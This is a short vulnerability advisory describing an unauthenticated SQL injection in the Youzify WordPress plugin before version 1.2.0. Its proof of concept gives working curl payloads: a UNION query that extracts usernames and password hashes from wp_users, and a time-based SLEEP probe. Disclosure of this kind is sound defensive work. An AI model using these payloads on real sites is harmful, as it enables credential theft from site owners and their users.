WordPress Plugin Vulnerabilities

Youzify < 1.2.0 - Unauthenticated SQLi

Description

The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to an unauthenticated SQL injection

Proof of Concept

curl 'https://example.com/wp-admin/admin-ajax.php' \
    --data "action=youzify_media_pagination&data[type]=photos&page=1&data[group_id]=1 UNION ALL SELECT (SELECT CONCAT(user_login,CHAR(0x3a),user_pass) from wp_users),2,3,4-- -"

time curl 'https://example.com/wp-admin/admin-ajax.php' \
    --data "action=youzify_media_pagination&data[type]=photos&page=1&data[group_id]=(SELECT 7958 FROM (SELECT(SLEEP(5)))XVfJ)"

Affects Plugins

Fixed in 1.2.0

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-07-11 (about 1 years ago)
Added
2022-07-11 (about 1 years ago)
Last Updated
2023-04-11 (about 1 years ago)

Other